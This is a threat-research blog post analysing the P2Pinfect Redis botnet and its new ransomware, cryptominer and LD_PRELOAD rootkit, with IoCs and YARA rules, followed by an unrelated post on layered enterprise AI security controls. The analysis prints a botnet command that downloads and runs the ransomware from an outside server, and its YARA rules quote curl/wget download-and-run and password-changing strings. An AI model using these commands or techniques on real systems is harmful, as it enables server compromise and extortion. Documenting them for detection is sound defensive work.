ブログ
/
Cloud
/
June 25, 2024

From Dormant to Dangerous: P2Pinfect Evolves to Deploy New Ransomware and Cryptominer

P2Pinfect, a sophisticated Rust-based malware, has evolved from a dormant spreading botnet to actively deploying ransomware and a cryptominer, primarily infecting Redis servers and using a P2P C2. The updated version includes a user-mode rootkit, but its ransomware impact is limited by the low privileges often associated with Redis.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
25
Jun 2024

Introduction: Ramsomware and cryptominer

P2Pinfect is a Rust-based malware covered extensively by Cado Security in the past [1]. It is a fairly sophisticated malware sample that uses a peer-to-peer (P2P) botnet for its command and control (C2) mechanism. Upon initial discovery, the malware appeared mostly dormant. Previous Cado research showed that it would spread primarily via Redis and a limited SSH spreader but ultimately did not seem to have an objective other than to spread. Researchers from Cado Security (now part of Darktrace) have observed a new update to P2Pinfect that introduces a ransomware and crypto miner payload.

Recap

Cado Security researchers first discovered it during triage of honeypot telemetry in July of 2023. Based on these findings, it was determined that the campaign began on June 23rd based on the TLS certificate used for C2 communications.

Initial access

The malware spreads by exploiting the replication features in Redis - where Redis runs in a distributed cluster of many nodes, using a leader/follower topology. This allows follower nodes to become an exact replica of the leader nodes, allowing for reads to be spread across the whole cluster to balance load, and provide some resilience in case a node goes down. [2]

This is frequently exploited by threat actors, as leaders can instruct followers to load arbitrary modules, which can in turn be used to gain code execution on the follower nodes. P2Pinfect exploits this by using the SLAVEOF command to turn discovered opened Redis nodes into a follower node of the threat actor server. It then uses a series of commands to write out a shared object (.so) file, and then instructs the follower to load it. Once this is done, the attacker can send arbitrary commands to the follower for it to execute.

Redis commands by P2Pinfect
Figure 1: Redis commands used by P2Pinfect for initial access (event ordering is non-linear)
P2Pinfect utilizes Redis initial access vector
Figure 2: P2Pinfect also utilizes another Redis initial access vector where it abuses the config commands to write a cron job to the cron directory

Main payload

P2Pinfect is a worm, so all infected machines will scan the internet for more servers to infect with the same vector described above. P2Pinfect also features a basic SSH password sprayer, where it will try a few common passwords with a few common users, but the success of this infection vector seems to be a lot less than with Redis, likely as it is oversaturated.

Upon launch it drops an SSH key into the authorized key file for the current user and runs a series of commands to prevent access to the Redis instance apart from IPs belonging to existing connections. This is done to prevent other threat actors from discovering and exploiting the server. It also tries to update the SSH configuration and restart SSH service to allow root login with password. It will also try changing passwords of other users, and will use sudo (if it has permission to) to perform privilege escalation.

The botnet is the most notable feature of P2Pinfect. As the name suggests, it is a peer-to-peer botnet, where every infected machine acts as a node in the network, and maintains a connection to several other nodes. This results in the botnet forming a huge mesh network, which the malware author makes use of to push out updated binaries across the network, via a gossip mechanism. The author simply needs to notify one peer, and it will inform all its peers and so on until the new binary is fully propagated across the network. When a new peer joins the network, non-expired commands are replayed to the peer by the network.

Updated main payload

The main binary appears to have undergone a rewrite. It now appears to be entirely written using tokio, an async framework for rust, and packed with UPX. Since it was first examined the payload, the internals have changed drastically. The binary is stripped and partially obfuscated, making static analysis difficult.

P2Pinfect used to feature persistence by adding itself to .bash_logout as well as a cron job, but it appears to no longer do either of these. The rest of its behaviors, such as the initial setup outlined previously, are the same.

Updated bash behavior

P2Pinfect drops a secondary binary at /tmp/bash and executes it. This process sets its command line args to [kworker/1:0H] in order to blend in on the process listing. /tmp/bash serves as a health check for the main binary. As previously documented, the main binary listens on a random port between 60100 to 60150 that other botnet peers will connect to. /tmp/bash periodically sends a request to the port to check it is alive and assumedly will respawn the main binary if it goes down.

System logs
Figure 3: Sysmon logs for the /tmp/bash payload

Miner payload becomes active

Previously, the Cado Security research team had observed a binary called miner that is embedded in P2Pinfect, however this appeared to never be used. However, Cado observed that the main binary dropping the miner binary to a mktmp file (mktmp creates a file in /tmp with some random characters as the name) and executing it. It features a built-in configuration, with the Monero wallet and pool preconfigured. The miner is only activated after approximately five minutes has elapsed since the main payload was started.

Wallet Details
Figure 4: Wallet details for the attacker’s supposed wallet 4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL

The attacker has made around 71 XMR, equivalent to roughly £9,660. Interestingly, the mining pool only shows one worker active at 22 KH/s (which generates around £15 a month) which doesn’t seem to match up with the size of the botnet nor how much they have made.

Upon reviewing the actual traffic from the miner, it appears to be trying to make a connection to various Hetzner IPs on TCP port 19999 and does not start mining until this is successful. These IPs appear to belong to the c3pool mining pool and not the supportxmr pool, suggesting that the config may have been left as a red herring. Checking c3pool for the wallet address, there is no activity for the above wallet address beyond September 2023. It is likely that there is another wallet address being used.

New ransomware payload

Upon joining the botnet, P2Pinfect receives a command instructing it to download and run a new binary called rsagen, which is a ransomware payload.

{"i":10,"c":1715837570,"e":1734397199,"t":{"T":{"flag":5,"e":null,"f":null,"d":[0,0],"re":false,"ts":[{"retry":{"retry":5,"delay_ms":[10000,35000]},"delay_exec_ms":null,"error_continue":false,"cmd":{"Inner":{"Download":{"url":"http://129.144.180.26:60107/dl/rsagen","save":"/tmp/rsagen"}}}},{"retry":null,"delay_exec_ms":null,"error_continue":true,"cmd":{"Shell":"bash -c 'chmod +x /tmp/rsagen; /tmp/rsagen ZW5jYXJncyAxIGJlc3R0cmNvdmVyeUBmaXJlbWFpbC5jYyxyYW5kYm5vdGhpbmdAdHV0YW5vdGEuY29t'"}}]}}} 

It is interesting to note that across all detonations, the download URL has not changed, and the command JSON is identical. This suggests that the command was issued directly by the malware operator, and the download server may be an attacker-controlled server used to host additional payloads.

This JSON structure is typical of a command from the botnet. As mentioned previously, when a new botnet peer joins the network, it is replayed non-expired commands. The c and e parameters contain timestamps that are likely to be command creation and expiry times, it can be determined that the command to start the ransomware was issued on May 16, 2024 and will continue to be active until December 17. Other interesting parameters can also be seen, such as type 5 (exec on linux, exec on windows is type 6), as well as retry parameters. Clearly a large amount of thought and effort has been put into designing P2Pinfect, far exceeding the majority of malware in sophistication.

The base64 args of the binary cleanly decode to “encargs 1 [email protected],[email protected]” - which are the email addresses used in the ransom note for where to send payment confirmations to. It’s unknown what the encargs 1 part is for.

downloaded file
Figure 5: The main binary obediently downloads and the file is executed

Upon launch, rsagen checks if the ransom note already exists in either the current working directory (/tmp), or the home directory of the user the process is running under. If it does, it exits immediately. Otherwise, it will instead begin the encryption process. The exact cryptographic process is not known, however Cado’s assumption is that it generates a public key used to encrypt files, and encrypts the corresponding private key using the attacker’s public key, which is then added to the ransom note. This allows the attacker to then decrypt the private key and return it to the user after they pay, without needing to include any secrets or C2 on the client machine.

Ransom note
Figure 6: Ransom note, titled “Your data has been locked!.txt”

As they are using Monero, it is impossible to figure out how much they have earned so far from the campaign. 1 XMR is currently £136 as of writing, which is on the cheaper end of ransomware. As this is an untargeted and opportunistic attack, it is likely the victims are to be low value, so having a low price is to be expected.

After writing out the note, the ransomware iterates through all directories on the file system, and overwrites the contents with an encrypted version. It then appends .encrypted to the end of the file name.

Linux does not require file extensions on files, however the malware seems to only target files that have specific extensions. Instead of checking for particular extensions, it instead has a massive string which it then checks if the extension is contained in.

mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder

This makes it quite difficult to pick out a complete list of extensions, however going through it there are many file formats, such as py, sqlite3, sql, mkv, doc, xls, db, key, pfx, wav, mp3, and more.

The ransomware stores a database of the files it encrypted in a mktmp file with .lockedfiles appended. The user is then expected to run the rsagen binary again with a decryption token in order to have their files decrypted. Cado Security does not possess a decryption token as this would require paying the attackers.

As the ransomware runs with the privilege level of its parent, it is likely that it will be running as the Redis user in the wild since the main initial access vector is Redis. In a typical deployment, this user has limited permissions and will only be able to access files saved by Redis. It also should not have sudo privileges, so would not be able to use it for privilege escalation.

Redis by default doesn’t save any data to disk and is typically used for in-memory only caching or key value store, so it’s unclear what exactly the ransomware could ransom other than its config files. Redis can be configured to save data to files - but the extension for this is typically rdb, which is not included in the list of extensions that P2Pinfect will ransom.

With that in mind, it’s unclear what the ransomware is actually designed to ransom. As mentioned in the recap, P2Pinfect does have a limited ability to spread via SSH, which would likely compromise higher privilege users with actual files to encrypt. The spread of P2Pinfect over SSH is far more limited compared to Redis however, so the impact is much less widespread.

New usermode rootkit

P2Pinfect now features a usermode rootkit. It will seek out .bashrc files it has permission to modify in user home directories, and append export LD_PRELOAD=/home/<user>/.lib/libs.so.1 to it. This results in the libs.so.1 file being preloaded whenever a linkable executable (such as the ls or cat commands) is run.

The shared object features definitions for the following methods, which hijack legitimate calls to it in order to hide specific information:

  • fopen & fopen64
  • open & open64
  • lstat & lstat64
  • unlink & unlinkat
  • readdir & readdir64

When a call to open or fopen is hijacked, it checks if the argument passed is one of the PIDs associated with the main file, /tmp/bash, or the miner. If it is one of these, it sets errno to 2 (file not found) and returns. Otherwise, it passes the call to the respective original function. If it is a request to open /proc/net/tcp or /proc/net/tcp6, it will filter out any ports between 60100 and 60150 from the return stream.

Similarly with hijacked calls captured to lstat or unlink, it checks if the argument passed is the main process’ binary. It does this by using ends_with string function on the file name, so any file with the same random name will be hidden from stat and unlink, regardless of if it is in the right directory or is the actual main file.

Finally with readdir, it will run the original function, but remove any of the process PIDs or the main file from the returned results.

decompiled pseudocode for readdir function
Figure 7: The decompiled pseudocode for the hijacked readdir function

It is interesting to note that when a specific environment variable is set, it will bypass all of the checks. Based on analysis of the original research from Cado Security, this is likely used to allow shell commands from the other malware binaries to be run without interference by the rootkit.

Pseudocode for env_var check
Figure 8: The decompiled pseudocode for the env_var check

The rootkit is dynamically generated by the main binary at runtime, with it choosing a random env_var to set as the bypass string, and adding its own file name plus PIDs to the SO before writing it to disk.

Like the ransomware, the usermode rootkit suffers from a fatal flaw; if the initial access is Redis, it is likely that it will only affect the Redis user as the Redis user is only used to run the Redis server and won’t have access to other user’s home directories.

Botnet for hire?

One theory we had following analysis was that P2Pinfect might be a botnet for hire. This is primarily due to how the new ransomware payload is being delivered from a fixed URL by command, compared to the other payloads which are baked into the main payload. This extensibility would make sense for the threat actor to use in order to deploy arbitrary payloads onto botnet nodes on a whim. This suggests that P2Pinfect may accept money for deploying other threat actors' payloads onto their botnet.

This theory is also supported by the following factors:

  • The miner wallet address is different from the ransomware wallet address, suggesting they might be separate entities.
  • The built in miner uses as much CPU as it can, which often has interfered with the operation of the ransomware. It doesn’t make sense for an attacker motivated by ransomware to deploy a miner as well.
  • The rsagen payload is not protected by any of P2Pinfect’s defensive features, such as the usermode rootkit.
  • As discussed, the command to run rsagen is a generic download and run command, whereas the miner has its own custom command set.
  • main is written using tokio and packed with UPX, rsagen is not packed and does not use tokio.

On the other hand, the following factors seem to contradict the idea that the distribution of rsagen could be evidence of a botnet for hire:

  • For both the main P2Pinfect binary and rsagen, the compiler string is GCC(4.8.5 20150623 (Red Hat 4.8.5-44)). This shows that the author of P2Pinfect almost certainly compiled it, assuming that the strings have not been tampered with
  • Both of the payloads are written in Rust. It’s certainly possible that a third-party attacker could also have chosen Rust for the project, but combined with the above point, it seems less likely.

While it is possible that P2Pinfect might be engaging in initial access brokerage, the facts of the matter seem to point to it most likely not being the case.

Conclusion

P2Pinfect is still a highly ubiquitous malware, which has spread to many servers. With its latest updates to the crypto miner, ransomware payload, and rootkit elements, it demonstrates the malware author’s continued efforts into profiting off their illicit access and spreading the network further, as it continues to worm across the internet.

The choice of a ransomware payload for malware primarily targeting a server that stores ephemeral in-memory data is an odd one, and P2Pinfect will likely see far more profit from their miner than their ransomware due to the limited amount of low-value files it can access due to its permission level.

The introduction of the usermode rootkit is a “good on paper” addition to the malware - while it is effective at hiding the main binaries, a user that becomes aware of its existence can easily remove the LD preload or the binary. If the initial access is Redis, the usermode rootkit will also be completely ineffective as it can only add the preload for the Redis service account, which other users will likely not log in as.

Indicators of compromise (IoCs)

Hashes

main 4f949750575d7970c20e009da115171d28f1c96b8b6a6e2623580fa8be1753d9

bash 2c8a37285804151fb727ee0ddc63e4aec54d9460b8b23505557467284f953e4b

miner 8a29238ef597df9c34411e3524109546894b3cca67c2690f63c4fb53a433f4e3

rsagen 9b74bfec39e2fcd8dd6dda6c02e1f1f8e64c10da2e06b6e09ccbe6234a828acb

libs.so.1 Dynamically generated, no consistent hash

IPs

Download server for rsagen 129[.]144[.]180[.]26:60107

Mining pool IP 1 88[.]198[.]117[.]174:19999

Mining pool IP 2 159[.]69[.]83[.]232:19999

Mining pool IP 3 195[.]201[.]97[.]156:19999

Yara

Main

Please note the main binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectMain {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect main payload"
  strings:
    $s1 = "nohup $SHELL -c \"echo chmod 777  /tmp/"
    $s2 = "libs.so.1"
    $s3 = "SHELLzshkshcshsh.bashrc"
    $s4 = "curl http:// -o /tmp/; if [ ! -f /tmp/ ]; then wget http:// -O /tmp/; fi; if [ ! -f /tmp/ ]; then ; fi; echo  && /tmp/"
    $s5 = "root:x:0:0:root:/root:/bin/bash(?:([a-z_][a-z0-9_]*?)@)?(?:(?:([0-9]\\.){3}[0-9]{1,3})|(?:([a-zA-Z0-9][\\.a-zA-Z0-9-]+)))"
    $s6 = "/etc/ssh/ssh_config/root/etc/hosts/home~/.././127.0::1.bash_historyscp-i-p-P.ssh/config(?:[0-9]{1,3}\\.){3}[0-9]{1,3}"
    $s7 = "system.exec \"bash -c \\\"\\\"\""
    $s8 = "system.exec \"\""
    $s9 = "powershell -EncodedCommand"
    $s10 = "GET /ip HTTP/1.1"
    $s11 = "^(.*?):.*?:(\\d+):\\d+:.*?:(.*?):(.*?)$"
    $s12 = "/etc/passwd.opass123456echo -e \"\" | passwd && echo  > ; echo -e \";/bin/bash-c\" | sudo -S passwd"
  condition:
    uint16(0) == 0x457f and 4 of them
}

Bash

Please note the bash binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectBash {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect bash payload"
  strings:
    $h1 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 0A 59 E8 17 6C 01 00 84 C0 0F 85 0F 03 00 00 }
    $h2 = { 48 8B 9C 24 ?? ?? 00 00 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 09 59 E8 34 6C 01 00 84 C0 0F 85 AC 02 00 00 }
    $h3 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 03 59 E8 DD 6B 01 00 84 C0 0F 85 DF 03 00 00 }
  condition:
    uint16(0) == 0x457f and all of them
}

Miner (xmrig)

rule XMRig {
   meta:
      attack = "T1496"
      description = "Detects XMRig miner"
   strings:
      $ = "password for mining server" nocase wide ascii
      $ = "threads count to initialize RandomX dataset" nocase wide ascii
      $ = "display this help and exit" nocase wide ascii
      $ = "maximum CPU threads count (in percentage) hint for autoconfig" nocase wide ascii
      $ = "enable CUDA mining backend" nocase wide ascii
      $ = "cryptonight" nocase wide ascii
   condition:
      5 of them
}

rsagen

rule P2PinfectRsagen {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect rsagen payload"
  strings:
    $a1 = "$ENC_EXE$"
    $a2 = "$EMAIL_ADDRS$"
    $a3 = "$XMR_COUNT$"
    $a4 = "$XMR_ADDR$"
    $a5 = "$KEY_STR$"
    $a6 = "$ENC_DATABASE$"
    $b1 = "mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder"
    $c1 = "lock failedlocked"
    $c2 = "/root/homeencrypt"
  condition:
    uint16(0) == 0x457f and (2 of ($a*) or $b1 or all of ($c*))
}

libs.so.1

rule P2PinfectLDPreload {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect libs.so.1 payload"
  strings:
    $a1 = "env_var"
    $a2 = "main_file"
    $a3 = "hide.c"
    $b1 = "prefix"
    $b2 = "process1"
    $b3 = "process2"
    $b4 = "process3"
    $b5 = "owner"
    $c1 = "%d: [0-9A-Fa-f]:%X [0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu 2s"
    $c2 = "/proc/net/tcp"
    $c3 = "/proc/net/tcp6"
  condition:
    uint16(0) == 0x457f and (all of ($a*) or all of ($b*) or all of ($c*))
}

References:

  1. https://www.darktrace.com/blog/p2pinfect-new-variant-targets-mips-devices
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/  
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

AI

/

August 10, 2026

Securing AI: Analysis of the Complete Security Stack with Governance and Controls

Default blog imageDefault blog image

Key takeaways

  • Protecting enterprise AI requires defense in depth: Organizations should combine governance, identity and access controls, data security, secure development, runtime monitoring, behavioral detection, containment, and incident response rather than rely on a single control.
  • Agentic AI expands enterprise risk beyond the model: Autonomous agents interact with tools, APIs, identities, data, and other agents, creating identity, behavioral, structural, and accountability risks that can propagate across trusted systems.
  • An effective AI security stack spans multiple layers: Security teams should evaluate governance and visibility, identity and agent controls, data protection, secure MLOps and LLMOps, runtime security, and response and recovery capabilities.
  • Security controls should develop alongside enterprise AI adoption: Organizations should establish ownership, visibility, access controls, testing, monitoring, and recovery capabilities while using behavior-based detection and containment to address risks that static policies may not reveal.

Why traditional cybersecurity approaches are not enough for AI

AI adoption outpaces most security programs’ ability to adapt.  That gap is now one of the most consequential sources of cyber risk facing enterprises. As organizations embed generative and agentic AI into development workflows, business operations, and security tooling itself, the question is no longer whether AI will introduce risk. The question is whether organizations understand where that risk actually lives and how to manage it operationally.  

Two recent pieces of guidance underscore this shift:

  1. The upcoming Cybersecurity Framework Profile for AI from NIST
  1. The Five Eyes government guidance on the careful adoption of agentic AI services

Taken together, they point to a critical conclusion. AI security cannot be reduced to model hardening or prompt filtering. It requires a defense in depth strategy that treats AI as both a new attack surface and a force multiplier for defense, while accounting for how AI fundamentally changes scale, speed, and autonomy.  

Recent threat research suggests that today's cyber risk is driven less by initial compromise and more by an adversary's ability to blend into normal operations over time. AI systems create the same exposure in a new form: more autonomy, more scale, and more opportunities for risky behavior to blend into normal operations.

How NIST defines the three core pillars of AI security

The NIST profile organizes AI risk across three inseparable focus areas that span all cybersecurity functions, Secure, Defend and Thwart. These areas are not sequential. They exist simultaneously and must be addressed together.

Secure

This treats AI as an attack surface. It includes models, prompts, agents, pipelines, training and inference data, retrieval augmented generation corpora, and the AI supply chain itself. AI systems are opaque, probabilistic, and non-deterministic by design. Some vulnerabilities are inherent in how models are trained or how data is sourced. Traditional patching does not fully mitigate these risks. This is also where many enterprises are weakest today and, critically, where many security programs stop.  

Defend

This is AI as a defensive force multiplier. AI can improve detection speed, scale, correlation, and response, but only if the right models are used and operationalized correctly. Machine-speed behavior-based detection, response and containment becomes critical in defending non-deterministic systems. Accuracy, explainability, governance, testing, validation, and integration into SOC workflows matter as much as capability. Without those controls, hallucination risk, over automation, and misplaced trust become security risks themselves.  

Thwart

This treats AI as an adversarial accelerant. Threat actors are already using AI to generate targeted social engineering attacks, deepfakes, malware, and autonomous attack agents. Asymmetric warfare is highlighting faster vulnerability discovery and exploitation with a lag on patch development, testing and deployment.  

How this looks in practice

Darktrace researchers observed scaled, automated exploitation of the React2Shell vulnerability within days of disclosure. A vulnerable cloud asset was exploited in under 120 seconds of being deployed. Darktrace research team observed an AI/LLM-generated malware sample used in exploitation activity tied to React2Shell. The significance isn't novelty. It is that AI lowers the barrier to producing usable offensive tooling and compresses the time between experimentation and deployment.  

Tactics are getting more and more creative in order to string together steps of an attack kill chain. This creates a dependency on behavior-based detection, autonomous investigation, autonomous containment, training, resilience investment, and recovery planning across the entire enterprise.

Why agentic AI fundamentally changes enterprise cyber risk

The Five Eyes guidance on agentic AI highlights material changes to the cyber risk profile of an organization. Unlike generative AI systems that produce content for human consumption, agentic AI systems reason, plan, and act autonomously across tools, data, and environments. That autonomy, combined with access to real systems, amplifies the impact of traditional cyber failures and introduces new system level risks that are difficult to predict, observe, and contain.  

Risk in agentic systems does not live in the model alone. It emerges from interactions between models, prompts, memory, tools, APIs, identities, privileges, inter-agent trust relationships, and human assumptions baked into design. Vulnerabilities are often introduced through data, connectors, natural language interfaces, protocols, and drift by design.

In supply-chain incidents, attackers did not need sophisticated exploits to scale impact. They abused trusted systems built for automation and implicit access. Agentic AI inherits that model. Once a system can act across tools, data, and workflows, compromise propagates through trust relationships that were never designed for machine autonomy.

The major agentic AI risk classes include the following:  

  • The identity control for non-human identities or autonomous agents makes it difficult to mitigate over-permissioning, limiting access, scope, and duration, as well as access hygiene
  • Agents are frequently over permissioned
  • Compromised tools inherit agent authority
  • Static secrets enable impersonation
  • Implicit trust between agents enables lateral movement

Design and configuration risks compound this, including privileges evaluated once at startup, poor segmentation, unvetted third party tools, reused authorization decisions outside their original context, and guardrail limitations.  

Behavioral risk  

Agents can optimize for goals in unsafe ways, misinterpret ambiguous intent, chain actions into unintended sequences, change behavior during evaluation, and exhibit deceptive or sycophantic responses.  

Structural risk  

Structural risk follows from agentic systems that are tightly coupled, multicomponent ecosystems. Failures can propagate across agents. Hallucinations cascade downstream. Resource exhaustion becomes systemic. Tool misuse enables indirect prompt injection and command execution. Rogue agents can poison peer agents through trust relationships.  

Accountability

Accountability becomes unclear as autonomy increases. Autonomous agents assume human identity permissions, and humans should have clear ownership of these agents, but they don’t, and this model is flawed. Decision paths are opaque and non-deterministic. Logs are fragmented and difficult to interpret. Reproducing an incident will be impossible without explicit design for observability and forensics. An agent compromise is functionally an insider threat, often with better access and fewer behavioral constraints than a human.  

What is the most effective way to protect enterprise AI?

The most effective way to protect enterprise AI is through a defense-in-depth strategy that combines governance, identity and access controls, data security, secure AI development, runtime monitoring, behavioral detection, containment, and incident response. No single control can address AI risk across models, agents, data, infrastructure, and enterprise environments.

Agentic AI runs on software, networks, identities, and data. It must be governed using the same foundational principles that have proven resilient under uncertainty, including secure by design, defense in depth, zero trust, least privilege, continuous monitoring, behavior-based advanced threat detection and containment, and incident response and recovery.

Core components to a Defense in depth Strategy for Securing the use of AI:

  • Strong, precise identity control plane to include an identity per agent (cryptographic, non‑shared)
    • Privilege monitoring and just‑in‑time access
  • Data Governance
  • Secure‑by‑default configurations
    • Security Posture Management  
    • Zero Trust principles  
  • Strong guardrails, deny‑by‑default policies, and isolation
  • Explicit instruction hierarchies and controlled context
  • Behavioral-based detection across entire enterprise to include inputs, tools, and outputs as well as AI used on the endpoint, across the network, cloud, SaaS, email, and OT
    • Runtime anomaly detection and goal‑drift detection
    • Autonomous containment to mitigate risk and minimize damage
  • Hard boundaries on autonomy and delegation
  • Testing, Evaluation, Validation and Verification  
    • Determine when autonomous action and when human in the loop
    • Adversarial training and agent‑specific testing
    • Simulation, red teaming, and chaos testing
  • Kill‑switches, rollback, and containment mechanisms
    • Forensics data captures, interpretability, autonomous containment, and remediation/recovery plans  

Until standards, tooling, and assurance methods mature, organizations should assume agentic AI systems will behave unexpectedly and design deployments around resilience, behavior-based detection, reversibility, and containment, not efficiency.

How security leaders should prepare for enterprise AI adoption

AI security is not model security alone. Data, pipelines, identities, and agents are first class assets. Many AI attacks succeed through standard cyber failures amplified by AI. Identity, data, and supply chain risk dominate. Behavior-based detection and response are critical, not optional. Logging, provenance, versioning, and forensics data capture of detections are mandatory because you cannot investigate or recover from AI incidents without them.  

Risk will often be visible in behavior before it is clearly defined in policy or guidance. The same pattern has been seen in pre-CVE disclosure detection, where abnormal activity appears before the industry has named or described the vulnerability. AI systems introduce that uncertainty by design.

Security leaders should prioritize controls before AI is fully deployed, avoid generic AI security checklists, integrate AI risk into existing cyber programs, and mitigate the risk of non-deterministic technology with continuous oversight, monitoring, behavior analytics, anomaly detection, autonomous investigation, and autonomous containment.

Visibility has a different connotation with AI. Previously, audit logging worked for software/people, but with Generative AI-based systems, interpretability and explainability is difficult to understand, you cannot "undo" what has been done, or see the logic or control a chain of events. This is why behavioral-based detections and containment becomes critical.  

What capabilities should every AI security program include?

If an organization asked “what must be in place before scaling AI?”:

  1. AI Risk board and approval workflow
  1. IAM + PAM for all AI services and agents
  1. AI asset inventory
  1. Prompt/output DLP with sanctioned AI access – This is not just pre- and post- filters, but behavior-based detections of semantic interface as well as behavior-based analysis of output with associated risk context.  
  1. Shadow AI identification
  1. Secure MLOps – This is an entire paper itself
  1. Runtime guardrails and tool restrictions
    • Including AI Gateway/SASE/Zero trust/
  1. Runtime security with behavior-based detections
    • Complete visibility, monitoring, behavior analytics, anomaly detection, risk/intent/context evaluation of anomalies, autonomous investigation and autonomous containment of all AI assets across endpoint, network, SaaS, SASE, cloud, OT, email, and messaging platforms
  1. Secure data pipelines and data governance
  1. SOC workflow changes from malicious classification workflows to behavior-based detection workflows
  1. Remediation plans for AI-related incidents  

Layered Governance and Security Stack for Securing AI

An enterprise AI security stack should span six integrated layers: governance and visibility; identity, access, and agent control; data security and privacy; secure MLOps and LLMOps; runtime security; and response and recovery. These layers should work together rather than as a linear maturity sequence, with runtime controls helping manage risk as governance evolves.

These considerations do not need to be implemented in order. Runtime Detect and Respond will help mitigate risk while Governance, Visibility, and Identity mature.

Category Tooling Controls
Governance & Visibility
  • AI asset inventory / AI CMDB
  • Shadow AI discovery
  • SaaS discovery
  • AI usage on non-endpoint managed systems via network or cloud telemetry
  • MCP server/client usage via protocols
  • Browser telemetry
  • Gateway or SASE telemetry
  • Establish a risk board to set up controls
  • Mandatory registration of AI systems
  • Owner, data classification, intended use, and risk tier
  • Supplier disclosure requirements
  • Risk mitigation plan for AI adoption, innovation, or development
Identity, Access & Agent Control

Non-human autonomous agents should not have the full permissions associated with a human user.

  • IAM with workload identities
  • PAM for AI service accounts
  • Secrets management with short-lived tokens
  • Zero Trust principles
  • Identity, permission, and token hygiene
  • Unique identities per model, agent, and pipeline
  • Least privilege for tools, data, and APIs
  • Explicit approval for autonomous actions
Data Security & Privacy
  • Data classification and labeling
  • Enterprise DLP across endpoint, email, network, cloud, and SaaS
  • Forensics data capture after risky detections
  • Prompt-level DLP through behavior-based semantic analysis with risk and intent context
  • Input/interface analysis for risky data requests
  • Output analysis for sensitive data
  • Data integrity evaluation
  • Retention and redaction policies for prompts and responses
Secure MLOps / LLMOps
  • Secure CI/CD with AI-specific gates
  • Model registries with approval workflows
  • Dependency, container, and artifact scanning
  • SBOM/AIBOM generation
  • IaC security scanning
  • Security posture management
  • Misconfiguration identification
  • Hardening recommendations
  • Signed models and prompts
  • Versioned datasets, configurations, logging, and controls
  • Securing data pipelines
  • Controlled promotion
  • Quality assurance
  • Adversarial testing
Runtime Security

Securing runtime goes beyond guardrails and model firewalls to include behavior-based detections, response, and containment.

  • Detection, monitoring, and SOC integration
  • Centralized visibility into prompts, outputs, and tool calls
  • AI-specific detections
  • Behavior-based detection for AI usage patterns
  • Model drift and behavior monitoring
  • Autonomous containment
  • Behavior-based detection of model inputs and outputs
  • Prompt injection detection
  • Model manipulation, including jailbreaking, poisoning, and related attacks
  • Sensitive data access attempts
  • Behavior-based detection across low-code agents, high-code agents, MCP clients and servers, endpoint, network, cloud, email, SaaS, SASE, IoT, and OT
  • Policy enforcement between users, models, tools, agents, SaaS models/tools, and MCP servers/clients
  • Risk, intent, and context evaluation for detections and response actions
Response & Recovery
  • Autonomous containment
  • AI-assisted playbooks
  • Forensics data capture for AI-related events
  • Model rollback mechanisms
  • Backup and restore for models and datasets
  • Kill switch for agents
  • Autonomous response to agents performing risky behaviors
  • Model and dataset rollback
  • Remediation plans
  • Tabletop exercises
  • Supplier coordination plans
  • Post-incident AI performance validation

AI security requires continuous visibility and behavioral detection

